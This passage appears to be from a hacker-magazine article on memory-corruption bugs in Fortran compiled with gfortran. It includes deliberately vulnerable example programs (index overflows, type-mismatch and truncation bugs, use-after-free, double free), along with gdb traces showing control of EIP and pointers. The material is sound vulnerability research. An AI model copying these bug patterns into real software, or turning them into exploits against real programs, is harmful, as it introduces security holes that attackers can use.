      the ISO standard [R2], F90 defines five intrinsic types being:
      INTEGER, REAL, COMPLEX, CHARACTER and LOGICAL.

      An intrinsic type can optionally been followed by a 'type parameter'
      which can either be 'len' or 'kind'. 'len' allows the programmer to
      specify how much bytes is required to store the variable for a
      CHARACTER and so is 'kind' for INTEGER, REAL and LOGICAL types.

      Contrary to the C language, there is a difference between strings and
      character arrays but both are related to the CHARACTER type:

      CHARACTER(len=1)     :: array(20)  ! 20 bytes array
      CHARACTER(len=20)    :: string     ! 20 bytes string

   *) read() and write() are the common input/output functions used to read
      and write files. Amongst the possible parameter, you can specify how
      to format the variable. The code in [L3] is equivalent to the C line:
      printf("%s\n", hellOstr);

Now let's see a more advanced example:

 -----BEGIN EXAMPLE 2-----
 $ cat ex2.f90 
  SUBROUTINE add(I,J)
  IMPLICIT NONE                                 [L1]
  INTEGER(2) :: I                               [L2]
  INTEGER(2) :: J
  I = I + J
  END SUBROUTINE

  PROGRAM EX2
  CHARACTER(len=20), PARAMETER :: s = &         [L3]
                'p67 will be the best.'
  INTEGER*2 :: I = Z'FF'                        [L4]
  write(*,*) '[1] Before add(), I = ', I
  CALL add(I,1)
  write(*,*) '[2] After add(), I = ', I
  END PROGRAM
 $ gfortran ex2.f90 
 $ ./a.out 
  [1] Before add(), I =     255
  [2] After add(), I =     256                         [L5]
 $
 -----END EXAMPLE 2-----

   L1) By default a few variables do not need to be explicitly declared.
       According to Chap 5.3 of [R2], variables I to N are integers, while 
       other variables are typed REAL. The directive 'IMPLICIT NONE'
       forbids this behavior and forces the programmer to properly declare
       every variable.

   L2) I and J are both signed integers stored on 2 bytes ('short' type in
       C language).

   L3) Lines can be truncated using the '&' special character. PARAMETER is
       used to declare the variable as a constant.

   L4) You can initialize the variables in base 8 ('O'), 16 ('Z') and even
       base 2 ('B').

   L5) When calling functions and subroutines (which from an asm point of
       view is the same), then arguments are passed by reference contrary
       to the C where arguments are passed by value.


---[ 2.2 - Hey Gramps, what's the difference between F77 and F2008?

First of all, know that F77 is not the first Fortran at all but rather the
ancestor of F90. It can be seen as the skeleton of the actual "modern"
language. Decades after decades, the ISO published several revisions of the
language to bring new functionalities while sometimes deleting ones. For us
hackers, there is almost no impact except that the newer the language, the
higher the chance to find bugs thanks to dangerous and misused extensions.

Anyway you should nonetheless be aware of the following -important-
differences between the revisions:

   *) Fortran 90 brought the POINTER object and the ability to dynamically
      allocate objects. It also made possible the recursion. This
      particular feature won't be discussed in this paper.

   *) "Varying character strings" appeared in Fortran 95. This interesting
      functionality can potentially reduce the risks of bugs induced by the
      need to copy a buffer into another one (remember that strings have a
      fixed len in Fortran). Fortunately some compilers don't support it
      yet (like gfortran) and a lot of programmers aren't even aware of its
      existence.

   *) Fortran 2003 was designed to allow object oriented programming but
      frankly speaking, we don't care at all. More interesting are the
      IEEE floating point arithmetic and the so-called procedure pointers.

      Note that we had to wait 2003 to get a language being able to deal
      with command line arguments and environment variables. _ridiculous_

   *) Fortran 2008 introduced the parallel processing ability in the
      language. This will not discussed.

OK enough with the chitchat, let's move on.

                                    ---

---[ 3 - Memory corruption with gfortran

This part introduces the more common bugs that you may encounter while
auditing/writing Fortran code. While it is essentially focused on gfortran
(a GCC extension [R3]), the OpenVMS Fortran compiler [R4] will be discussed
in part 4. This will allow us to make at least partial generalisation of 
what kind of bugs are likely to be found & exploited in the wild.

People accustomed to Fortran programming already know that Fortran is about
dealing with numbers (one of the main advantages of Fortran). As a result
it seems that interesting inputs will be the ones related to number
manipulation/conversion and string parsing. Now Gramps will show you a few 
things that might interest you.


---[ 3.1 - Buffer overflows

Obviously the buffer overflow is the first type of bug that comes to mind
when one wants to trigger a bug related to strings/buffers. Luckily, they
also exist in Fortran but only in situations where the compiler was not
able to deter them. That would be:

   *) when the user is able to manipulate an index which will be used to
      access an array or a string. Due to the index provided by the user,
      the compiler is not able to detect the potential memory corruptions
      during the compilation.

   *) when the user is implicitly or explicitly changing the type of an
      object passed by reference to the function.

The index manipulation
----------------------

Contrary to other languages, Fortran is not able to properly handle invalid
memory access on runtime. In fact, if an index is out of scope, Fortran
will not see it and a memory corruption might appear.

Let's see using this tiny string manipulation example:

 -----BEGIN OVERFLOW 1-----
 $ cat overflow1.f90
  PROGRAM test
  CHARACTER(len=30) :: S  ! String of length 30
  INTEGER(4) I

  S = 'Hello Phrack readers!'
  read(*,*) I
  S(I:I) = '.'
  write(*,*) S
  END PROGRAM
 $ gfortran overflow1.f90
 $ ./a.out
 3
  He.lo Phrack readers!      <-- S was modified with 0x2E
 $ gdb ./a.out
 [...]
 0x080487be <+186>: mov BYTE PTR [ebp+eax*1-0x2b],0x2e
                                       ; This is the memory write
                                       ; Do we really control eax?
 [...]
 (gdb) b *0x080487be
 Breakpoint 1 at 0x80487be
 (gdb) r
 Starting program: a.out
 50                          <-- 50 is clearly out of scope! (>30)

 Breakpoint 1, 0x080487be in MAIN__ ()
 (gdb) print /d $eax
 $1 = 50
 (gdb) c
 Hello Phrack readers!

 Program received signal SIGSEGV, Segmentation fault.
 0x2e04885b in ?? ()         <-- EIP was corrupted with 0x2E
 -----END OVERFLOW 1-----

This short example is sufficient to prove that (at least with gfortran)
there is no runtime check at all. If the user is controlling the index used
to access a string then it's probably all over. There are two things worth
to note:

   *) We tricked an out-of-bound memory write due to string manipulation
      but this could very well have been the same thing with any array
      (REAL, INTEGERS, CHARACTERS, etc.)

   *) Due to the fact that the INTEGER type is 'signed', we are equally
      able to write both before and after the buffer. Depending on the
      situation this might be extremely useful. For example while it's
      usually more interesting to write past the buffer when it's located
      on the stack, writing before it (underflow) might be handy when it's
      located on the heap. Of course that will depend on the situation.

Explicit typing of function parameters
------------------------------------

A short example is better than confusing explanations:

 -----BEGIN CAST 1-----
 $ cat cast1.f90 
  SUBROUTINE dump(S)
  INTEGER(4) :: S
  write(*,fmt='(Z10)') S
  END SUBROUTINE

  PROGRAM CAST
  CHARACTER(len=6) :: S
  S='ABCDEF'
  CALL dump(S)
  END PROGRAM
 $ gfortran cast1.f90 
 $ ./a.out 
   44434241
 -----END CAST 1-----

So we first declare S as a string in the MAIN_ and then call the dump()
subroutine, S being the argument. Inside dump(), the parameter is declared
as an INTEGER which results in the appropriate printing. The fact that the
compiler doesn't check types can lead to very interesting situations:

   *) when the size of S object in dump() is known at compile time and
      different of the original one.

   *) when the size of S object in dump() is controlled by the user.

The first case will lead to a memory corruption if the size of the argument
in the function is superior to its real size due to argument being passed
by reference. The following code is for example incorrect and will lead to
a program crash:

 -----BEGIN CAST 2-----
 $ cat cast2.f90 
  SUBROUTINE dump(S)
  CHARACTER(len=20) :: S
  S = 'AAAA'
  END SUBROUTINE
  PROGRAM cast2
  CHARACTER(len=10) :: X
  X = 'ZZZZZZZZZZZ'
  CALL dump(X)
  END PROGRAM
 $ gfortran ./cast2.f90
 $ ./a.out 
 Segmentation fault
 -----END CAST 2-----

What's happening? 'AAAA' is supposed to be shorter than 'ZZZZZZZZZZZ' so
why is there a crash? Well S = 'AAAA' means the initialisation of S which
ultimately results in the 4 first characters being set to 'A' and the other
16 ones to ' ' (space).

But remember that parameters are passed by reference in Fortran so whatever
the size of S during the execution of dump(), the size of the real object
is 10 bytes. In other words, 20 bytes were copied on a 10 bytes buffer. Due
to the very nature of this bug, it's quite unlikely to find it in the wild.
However a much more vicious variant with 'implicit typing' is described
later.

Note: If the size of the argument in the function is actually shorter and
number-related then it may leads to a truncation bug (discussed in Chap 
3.2).

Now one could imagine a second case where the programmer is providing the
size of S as an argument (which is of course a bad practice in Fortran).
The following code is perfectly legal:

 -----BEGIN CAST 3-----
 $ cat cast3.f90
  SUBROUTINE dump(S,L)
  INTEGER(4) :: L
  CHARACTER(len=L) :: S   ! size is a runtime parameter
  S='AAAA'
  END SUBROUTINE
  PROGRAM cast2
  CHARACTER(len=10) :: X
  X = 'ZZZZZZZZZZ'
  CALL dump(X,100)
  write(*,*) X
  END PROGRAM
 $ gfortran cast3.f90 
 $ ./a.out 
 10
  AAAA
 $ ./a.out
 200
  AAAA
 Segmentation fault
 $
 -----END CAST 3-----

For a couple of seconds we could be tempted to think that it's a situation
similar to the one described in [R5] but that would only be true if there
were a stack allocation. In fact once again the bug is triggered by the
initialisation of the string. Because of the explicit typing of S, the
compiler is assuming that S really has a len of L and if L > 10 then a
memory corruption occurs.

Implicit typing
---------------

In the life-time of a program, declaring variables every time can be boring
especially when the use of these variables is limited (consider a DO loop
variable for example). Because of that, Fortran designers created a rule of
implicit declaration. As a result in Fortran you can use a few variables
without declaring them which for us hackers can be really cool as it can
have side effects. Here is a tiny buggy example:

 -----BEGIN IMPLICIT TYPE 1-----
 $ cat implicit_typing1.f90 
  SUBROUTINE set(I)
  write(*,*) 'How much do u want to read dude ?'
  read(*,*) I                          [L3]
  END SUBROUTINE

  PROGRAM IMPLICIT_TYPING
  IMPLICIT NONE
  INTEGER(1) :: A, B              [L1]
  A = 0
  B = 0
  CALL set(B)                          [L2]
  write(*,*) 'A=',A,'B=',B
  END PROGRAM
 $ gfortran implicit_typing1.f90
 $ ./a.out 
  How much do u want to read dude ?
 1094795585                                   [L4]
  A=   65 B=   65                             [L5]
 $
 -----END IMPLICIT TYPE 1-----

A, B are declared INTEGERS in the range [-128,+127] [L1] and initialized.
B is then passed by reference to the set() subroutine [L2] where it gets
affected a new value [L3]. If the user supplies a large enough integer [L4]
then B is corrupted [L5]. What happened?

Well the heart of this corruption lies in the implicit typing associated
with the implicit declaration. Here is what can be read from the official
documentation [R2]:

                                    ---
                            Chap 5.3 - IMPLICIT


"In each scoping unit, there is a mapping, which may be null, between each
of the letters A, B, ..., Z and a type (and type parameters). An IMPLICIT
statement specifies the mapping for the letters in its letter-spec-list.
IMPLICIT NONE specifies the null mapping for all the letters. If a mapping
is not specified for a letter, the default for a program unit or an
interface body is default integer if the letter is I, J, ..., or N and
default real otherwise, and the default for an internal or module procedure
is the mapping in the host scoping unit."
                                    ---

So not declaring I in the set() subroutine had the effect of declaring it
as an integer which means INTEGER(4) by default (thus 4 bytes allocated).
So cool. Do not forget that we're passing arguments by reference! Yes I
know, I'm repeating myself. Probably because of my Alzheimer you know.

Anyway, It's really easy to watch it

 -----BEGIN IMPLICIT TYPE 2-----
 (gdb) disassemble MAIN__ 
    [...]
    0x080486c1 <+17>: lea    esi,[ebp-0xa]          ; esi=&B
    [...]
    0x080486d8 <+40>: mov    DWORD PTR [esp],esi
    0x080486db <+43>: mov    BYTE PTR [ebp-0x9],0x0 ; A=0
    0x080486df <+47>: mov    BYTE PTR [ebp-0xa],0x0 ; B=0
    0x080486e3 <+51>: call   0x8048790 <set_> ; set(&B)
 (gdb) disassemble set_ 
    [...]
    0x08048826 <+150>: mov    eax,DWORD PTR [ebp+0x8] ; eax=&B
    0x08048829 <+153>: mov    DWORD PTR [esp],ebx
    0x0804882c <+156>: mov    DWORD PTR [esp+0x8],0x4
    0x08048834 <+164>: mov    DWORD PTR [esp+0x4],eax
    0x08048838 <+168>: call   0x8048594 [...]         ; read(&B,4)
    [...]
 (gdb) b *0x080486e3
 Breakpoint 1 at 0x80486e3
 (gdb) r
 [...]
 Breakpoint 1, 0x080486e3 in MAIN__ ()
 (gdb) x /x $ebp-0xa
 0xbffff42e: 0xf5140000
 (gdb) x /x $ebp-0xa+2
 0xbffff430: 0xbffff514   <-- A pointer is stored right after B
 (gdb) nexti
  How much do u want to read dude ?
 1094795585
 0x080486e8 in MAIN__ ()
 (gdb) x /x $ebp-0xa
 0xbffff42e: 0x41414141   <-- We are controling &B[0] up to
                                         &B[3]
 (gdb) x /x $ebp-0xa+2
 0xbffff430: 0xbfff4141   <-- The pointer is corrupted. Our win.
 [...]
 -----END IMPLICIT TYPE 2-----

As expected we wrote 4 bytes in a 1-byte buffer overwriting both 'B' and
the 2 lowest bytes of a pointer with arbitrary values.


---[ 3.2 - The number-related issues

In C language, there exists three types of integer related bugs [R6]:
   1. Signedness bugs
   2. Truncation bugs
   3. Integer underflow/overflow bugs

What about in Fortran?

   *) This first class of bugs is quite unlikely as the primary component
      is missing. Indeed the 'unsigned' concept does not exist in Fortran
      which means that there is (as far as I can see) almost no way to
      mistakenly interpret a negative number (integer/real) as a larger
      than expected positive one.

      However what would appen if we were to call a function in another
      language defining unsigned numbers like C? Then an integer overflow
      _could_ happen if the argument was casted. This particular situation
      is illustrated in Chap 4.

   *) A truncation bug (may) occur when an integer variable is copied into
      a smaller one. For example, in C copying an int (4 bytes) into a
      short (2 bytes) which is possible in Fortran.

      Practically speaking such a bug usually occurs when an INTEGER is
      passed as an argument to a function/procedure which declares its type
      'smaller' than it actually is.

 -----BEGIN TRUNCATE 1-----
 $ cat truncate3.f90 
  LOGICAL FUNCTION IsGood(L)
  INTEGER(1) :: L
  IsGood = .TRUE.
  write(*,*) 'IsGood: size is ', L
  IF (L > 10) THEN
   write(*,*) 'Way too long man', L
   IsGood = .FALSE.
   RETURN
  END IF
  END FUNCTION

  PROGRAM truncate3
  IMPLICIT NONE
  INTEGER(4) :: l
  CHARACTER(2000) :: str
  LOGICAL :: IsGood
  write(*,*) 'Give me the damn string ...'
  read(*,*) str
  l = len_trim(str)
  write(*,*) 'MAIN_: size is ', l
  IF (IsGood(l) .EQV. .TRUE.) THEN
   write(*,*) 'Copying bytes ... :)'
  END IF
  END PROGRAM
 $ gfortran truncate3.f90 
 $ ./a.out 
  Give me the damn string ...
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  MAIN_: size is           38
  IsGood: size is    38
  Way too long man   38
 $ ./a.out
  Give me the damn string ... 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  MAIN_: size is          520
  IsGood: size is     8
  Copying bytes ... :)
 $
 -----END TRUNCATE 1-----

      In IsGood(), L is declared as an INTEGER(1). To respect the type, the
      parameter has to be reduced modulo 256 hence the result (520 & 0xFF
      = 8).

      This is _not_ the only situation involving this type of bug. For 
      example, consider the following situation:

 -----BEGIN TRUNCATE 2-----
 $ cat truncate2.f90 
  PROGRAM truncate2
  IMPLICIT NONE

  INTEGER(1) :: l
  CHARACTER(255) :: str
  CHARACTER(10) :: foo

  write(*,*) 'Give me the damn string ...'
  read(*,*) str
  write(*,*) 'Real string size is ', len_trim(str)
 
  l = len_trim(str) ! *BUG* *BUG* *BUG*
  IF (l > 10) THEN
   write(*,*) 'Way too long man', l
   STOP
  END IF
  write(*,*) 'Copying bytes'
 
  ! Insecure copy(foo, str)
  [...]
  END PROGRAM
 $ gfortran truncate2.f90 
 $ ./a.out 
  Give me the damn string ...
 AAAAAAAAAAAAAAAAAA
  Real string size is           18
  Way too long man   18
 $ ./a.out 
  Give me the damn string ...
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  Real string size is          180
  Copying bytes
 -----END TRUNCATE 2-----

      In this situation, the programmer made a mistake involving the
      prototype the len_trim() function (provided by the Fortran API). [R2]
      specifies that the result returned by the function should be a
      'default integer' (which means INTEGER(4)) hence the previous bug.

   *) Whenever a language limits the amount of memory allocated for numbers
      (generally because of hardware constraints), a number under/overflow 
      is always possible and is _normal_. However not handling this
      situation _is_ a bug.

      Fortran makes no exception as storage is clearly defined:

 -----BEGIN INT OVERFLOW 1-----
 $ cat arithmetic.f90
  [...]
  INTEGER(1) :: N1, N2

  write(*,*) 'Give me a number (-128, +127) :'
  read(*,*) N1
  N2 = N1 * 16
  write(*,*) 'N * 16 = ', N1*16, ' or ', N2
  [...]
 $ gfortran arithmetic.f90 
 $ ./a.out 
  Give me a number (-128, +127) :
 5
  N * 16 =           80  or    80
 $ ./a.out 
  Give me a number (-128, +127) :
 12
  N * 16 =          192  or   -64    <-- Oops :)
 $ ./a.out 
  Give me a number (-128, +127) :
 18
  N * 16 =          288  or    32    <-- Oops (bis) :)
 -----END INT OVERFLOW 1-----

Is that all? Not quite son. When auditing the use of numbers in C code,
you're usually focused on integers (char, int, long, long long) and that
would essentially be for two reasons:

   *) Floats and double are rarely present in C code or to be fair, usually
      not in common 'audited' software. Of course there are a few notable
      exceptions, just use your imagination to find out which ones :)

   *) Floats are usually _not_ related to copy or allocation operations. In
      C, integers might be used as index, offsets, quantities or even sizes
      and as such their abuse 'could' induce a memory corruption. There is
      almost no such danger with floats.

Now consider that things are a little bit different with Fortran. As I told
you previously Fortran is a math oriented programming language. As such
REAL, and COMPLEX types are really common not to mention the fact that the
language itself provides some nice intrinsic functions to play with. This
itself is sufficient to increase the probability of float-related bug in 
real life.

Here is a short example of what could happen:

 -----BEGIN REAL OVERFLOW 1-----
 $ cat float1.f
  PROGRAM float1
  REAL :: a, b, x
  a = 9.7E-30
  b = -3.9E-30
  x = a * b
  write(*,*) 'x = a*b = ',x
  END PROGRAM
 $ gfortran ./float1.f
 $ ./a.out
  x = a*b =   -0.0000000    
 -----END REAL OVERFLOW 1-----

Interesting isn't it? The behavior of REAL is what is described in the
IEEE-754. As a result, a REAL (float) underflow occurs when a and b are
multiplied. This ultimately results in x taking the value 0 because of the
underflow. The program is not able to detect it on runtime whereas an
exception could/should have been generated. I won't say more about that,
now use your brain/imagination/drug to go further ;-)


---[ 3.3 - The POINTER abuse

While the concept of pointer is somewhat universal, implementations and
intrinsic limits of this object may completely vary from a language to
another. For example, while in C you have direct access to the memory, in
Fortran you don't (at least directly). But you still have a powerful 
pointer arithmetic and frankly speaking, that's all needs the programmer to
introduce bugs ;-). Now let's talk about the POINTER.

Note: The POINTER is F90 & later specific but you might find pointers in a 
few F77 programs which use 'Cray Pointers' [R10]. 

Introduction to POINTER
-----------------------

In Fortran, a pointer is not a data type but rather a type parameter and
must be associated with an object of the same type to read/modify it.

Here is a short self-explaining example:

 -----BEGIN POINTER 1-----
 $ cat pointer1.f90 
  PROGRAM pointer1
  INTEGER, TARGET :: a
  INTEGER, POINTER :: p_a
  p_a => a                    ! p_a = &a
  p_a = 1                     ! *p_a = 1
  write(*,*) a
  a = 2
  write(*,*) p_a              ! printf("%d",*p_a)
  END PROGRAM
 $ gfortran pointer1.f90 
 $ ./a.out 
     1
     2
 -----END POINTER 1-----

Note that the TARGET parameter is mandatory. Now let's see a more complete
example:

 -----BEGIN POINTER 2-----
 $ cat pointer2.f90 
  PROGRAM pointer2
  INTEGER, POINTER :: p_a(:)
  INTEGER, POINTER, DIMENSION(:) :: p_b
  INTEGER, ALLOCATABLE :: c(:)
  INTEGER, POINTER :: X(:)
  ALLOCATE(p_a(5)); p_a = 5
  ALLOCATE(p_b(4)); p_b = 4
  ALLOCATE(c(3));   c = 3 
  X => p_a
  X(3) = 0
  write(*,*) p_a
  write(*,*) p_b
  write(*,*) c
  DEALLOCATE(p_a)
  DEALLOCATE(p_b)
  DEALLOCATE(c)
  END PROGRAM
 $ gfortran pointer2.f90 
 $ ./a.out 
    5           5           0           5           5
    4           4           4           4
    3           3           3
 -----END POINTER 2-----

   *) 'p_a' is an integer array pointer.

   *) 'p_b' and 'p_a' are the same kind of object despite the syntax being
      slightly different (but equivalent in the end).

   *) 'c' is an array whose size is still unknown. The ALLOCATABLE 
      parameter specifies that memory will be requested before any use. 
      This is a dynamically allocated array.

   *) ALLOCATE() is the intrinsic function responsible of the allocation.
      (and yes its calling syntax is _shit_ but let's deal with it)

   *) DEALLOCATE() will free previously requested memory.

The link between ALLOCATE() and the libc allocator is easy to see:

 ------------------------------------------------------
$ ltrace -e malloc,free ./a.out 
malloc(20)                                                     = 0x087009a0
malloc(16)                                                     = 0x087009b8
malloc(12)                                                     = 0x087009d0
           5           5           0           5           5
           4           4           4           4
           3           3           3
free(0x087009a0)                                                   = <void>
free(0x087009b8)                                                   = <void>
free(0x087009d0)                                                   = <void>
 ------------------------------------------------------

This alone is sufficient to prove that malloc (respectively free) and
ALLOCATE (respectively DEALLOCATE) are 'almost' the same. The difference
between both is studied in another subsection.

Heap overflows
--------------

A buffer overflow in an ALLOCATEd area _is_ a heap overflow. Such a bug may
occur if:

   *) The user is able to manipulate the index used with the array POINTER
      to perform an out of bound operation:

 ------------------------------------------------------
$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAA
 INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAA  [          20 ]
 ONCE CLEANED :AAAAAAAAAAAAAAAAAAAA
$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAAA
 INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAAA [         141 ]
 ONCE CLEANED :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
*** glibc detected *** ./bof_array_malloc: free(): invalid next size [...]
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0xb7625591]
/lib/tls/i686/cmov/libc.so.6(+0x6cde8)[0xb7626de8]
/lib/tls/i686/cmov/libc.so.6(cfree+0x6d)[0xb7629ecd]
[...]
 ------------------------------------------------------

   *) The user is able to somehow induce a bug in the allocation either
      exploiting an arithmetic mistake of the behavior of ALLOCATE
      (discussed further).

Dangling pointers
-----------------

By default, pointers are undefined when declared. As a result there should
not be any reference nor manipulation of these objects until their 
association. The unfamiliar programmer might be tempted to use the 
ASSOCIATED() intrinsic function for safety purpose which (un)fortunately is
a mistake:

 -----BEGIN POINTER 3-----
 $ cat pointer3.f90 
  PROGRAM pointer1
  INTEGER, TARGET :: a
  INTEGER, POINTER :: p_a
  write(*,*) associated(p_a)
  nullify(p_a)
  write(*,*) associated(p_a)
  p_a => a
  write(*,*) associated(p_a)
  END PROGRAM
 $ gfortran pointer3.f90 
 $ ./a.out 
  T            <-- *WRONG* :)
  F            <-- Right
  T            <-- Right
 -----END POINTER 3-----

   *) p_a is declared and 'undefined' by default.

   *) associated() falsely reports that p_a is associated.

   *) Since the pointer is associated, the programmer can perform 
      operations and a memory corruption is very likely to appear.

Let's try to understand what's happening:

 ------------------------------------------------------
(gdb) disass MAIN__ 
Dump of assembler code for function MAIN__:
   0x080485d4 <+0>: push   ebp
   0x080485d5 <+1>: mov    ebp,esp
   0x080485d7 <+3>: sub    esp,0x188
   0x080485dd <+9>: mov    DWORD PTR [esp+0x4],0x80488a0
   0x080485e5 <+17>: mov    DWORD PTR [esp],0x8
   0x080485ec <+24>: call   0x80484c4 <_gfortran_set_options@plt>
   0x080485f1 <+29>: mov    DWORD PTR [ebp-0x168],0x8048880
   0x080485fb <+39>: mov    DWORD PTR [ebp-0x164],0x4
   0x08048605 <+49>: mov    DWORD PTR [ebp-0x170],0x80
   0x0804860f <+59>: mov    DWORD PTR [ebp-0x16c],0x6
   0x08048619 <+69>: lea    eax,[ebp-0x170]
   0x0804861f <+75>: mov    DWORD PTR [esp],eax
   0x08048622 <+78>: call   0x80484e4 <_gfortran_st_write@plt>
   0x08048627 <+83>: cmp    DWORD PTR [ebp-0xc],0x0   ; p_a == 0 ?
   0x0804862b <+87>: setne  al                        ; al = ~(p_a == 0)
   0x0804862e <+90>: movzx  eax,al                    ; eax = al
 ------------------------------------------------------

OK OK easy. First p_a is read on the stack then its value is compared with
0 (NULL). If p_a is not zero then it's supposed associated (ah ah). However
since the local variable is uninitialized, it could take any value and in
our case some stack address thereby explaining the bug.

Now more interesting. If operations are performed using p_a on the base of
the result returned by associated() then an invalid memory dereference may
occur and depending on whether we can control this address or nor it might
end up either as a 'Segmentation Fault' or as a perfectly controlled
arbitrary memory write. I discovered this really interesting issue reading
a cool website [R7] which details a few other interesting issues that won't
be discussed in this paper.

Use-after-free bugs
-------------------

Does the compiler keep track of POINTER object? Will it prevent the
programmer from misusing them? Let's write an example once more:

 -----BEGIN POINTER 4-----
 $ cat pointer4.f90 
  PROGRAM pointer4
  INTEGER, POINTER :: p1(:)
  INTEGER, POINTER :: p2(:)
  ALLOCATE(p1(10))
  p2 => p1
  p2 = 2
  DEALLOCATE(p1)
  p2 = 3            ! REALLY bad :(
  END PROGRAM
 $ gfortran pointer4.f90 -O3
 $ gdb ./a.out
 [...]
 (gdb) disassemble MAIN__ 
 [...]
    0x080485cb <+27>: mov    DWORD PTR [esp],0x28
    0x080485d2 <+34>: call   0x80484cc <malloc@plt>
    0x080485d7 <+39>: test   eax,eax
    0x080485d9 <+41>: mov    ebx,eax               ; p2 => p1
    0x080485db <+43>: je     0x8048679 <MAIN__+201>
    0x080485e1 <+49>: mov    DWORD PTR [eax],0x2
 [...]
    0x08048626 <+118>: mov    DWORD PTR [esp],eax
    0x08048629 <+121>: call   0x804849c <free@plt>
    0x0804862e <+126>: mov    DWORD PTR [ebx],0x3   ; BUG!!!
 [...]
 -----END POINTER 4-----

So not only does the compiler nothing but still the bug is really there. Oh
man Fortran is just like C after all :) With that in mind, it's rather 
obvious that doublefree() are possible and indeed they are:

 -----BEGIN DFREE 1-----
 $ cat double_free.f90
  SUBROUTINE check(x,L)
  CHARACTER, TARGET :: x(L)
  CHARACTER, POINTER :: p(:)
  INTEGER I
  p => x
  DO I=1,L
   IF (ichar(p(I)) .lt. ichar('A')) THEN
    goto 100
   END IF
   IF (ichar(p(I)) .gt. ichar('Z')) THEN
    goto 100
   END IF
  END DO
  RETURN

 100 write(*,*) '[-] Warning argument is fucked !!!'
  DEALLOCATE(p)    ! If the argument has an invalid character
                                 ! then it's free()ed.
  END SUBROUTINE

  PROGRAM double_free
 [...]
   call check(q,realsize)
   write(*,*) '[+] First argument is ', q
   deallocate(q)  ! Second free()
 [...]
 $ ./double_free ACAAAAAAZ
  [+] First argument is ACAAAAAAZ
 $ ./double_free ACAAAAAAZ-
  [-] Warning argument is fucked !!!
  [+] First argument is AAAAZ-
 *** glibc detected *** ./double_free: double free or [...]
 [...]
 -----END DFREE 1-----  

The shit behind ALLOCATE()
---------------------------

We all know that in C allocation of a user supplied size can be dangerous
if not well handled as it can have side effects. Common problems include
too large request which would ultimately result in a NULL being returned or
integer overflows in the calculus of the size.

Since ALLOCATE() is no more than a wrapper of malloc() all of these
problems can occur. However there is an even more vicious one. Let's play a
little bit:
 
 -----BEGIN ALLOCATE-----
 $ cat allocate.f90 
  PROGRAM allocate1
  IMPLICIT NONE

  INTEGER(1) :: M1
  CHARACTER, DIMENSION(:), ALLOCATABLE :: C
 
  write(*,*) 'How much objects should I allocate ?'
  read(*,*) M1
  ALLOCATE(C(M1))

  END PROGRAM
 $ gfortran allocate.f90 
 $ ltrace -e malloc ./a.out 
  How much objects should I allocate ?
 16
 malloc(16)     <-- Ok                                  = 0x09eed9a0
 +++ exited (status 0) +++
 $ ltrace -e malloc ./a.out 
  How much objects should I allocate ?
 0
 malloc(1)      <-- WTF ???                             = 0x082a69a0
 +++ exited (status 0) +++
 $ ltrace -e malloc ./a.out 
  How much objects should I allocate ?
 -20
 malloc(1)      <-- WTF (again) ???                     = 0x089e99a0
 +++ exited (status 0) +++
 -----END ALLOCATE-----

Wait, something is weird. Why is there a malloc(1)??? A short look at GDB
and we have the following dead listing:

 ------------------------------------------------------
   0x080487fa <+170>: lea    eax,[ebp-0x9]          ; eax = &M1
   0x080487fd <+173>: mov    DWORD PTR [esp+0x4],eax
   0x08048801 <+177>: mov    DWORD PTR [esp+0x8],0x1
   0x08048809 <+185>: mov    DWORD PTR [esp],ebx
   0x0804880c <+188>: call   0x804862c <_gfortran_transfer_integer@plt>
                                 ; read(stdin, &M1, 1)
   [...]
   0x08048819 <+201>: movzx  edx,BYTE PTR [ebp-0x9] ; edx = M1
   0x0804881d <+205>: mov    eax,0x1                ; eax = 1
   0x08048822 <+210>: test   dl,dl                   
   0x08048824 <+212>: jle    0x8048836 <MAIN__+230> ; if(dl <= 0)
                                                      ;   malloc(eax)
   0x08048826 <+214>: mov    eax,edx
   [...]
   0x08048836 <+230>: mov    DWORD PTR [esp],eax
   0x08048839 <+233>: call   0x804865c <malloc@plt>
   [...]
 -------------------------------------------------------

So when a null or a negative size is supplied, malloc allocates 1 byte. Why
such a strange behavior? I must confess that I couldn't find any satisfying
answer but the most important thing is: if the user can supply a negative
length then a really tiny allocation is done which is really prone to heap
corruptions. So nice :)


---[ 3.4 - Other interesting bugs

Talking about insecure programming in Fortran would not be complete without
what's following. Despite not being as important, it might become handy in
a few situations.

Uninitialised data
------------------

The first thing to notice is that it's perfectly legal to use variables
without properly initializing them:

 -----BEGIN UNINITIALIZED 1-----
 $ cat uninitialized.f90 
  PROGRAM uninitialized
  INTEGER :: I, J, XXXX
  DO I=0,20
   J = J + 1
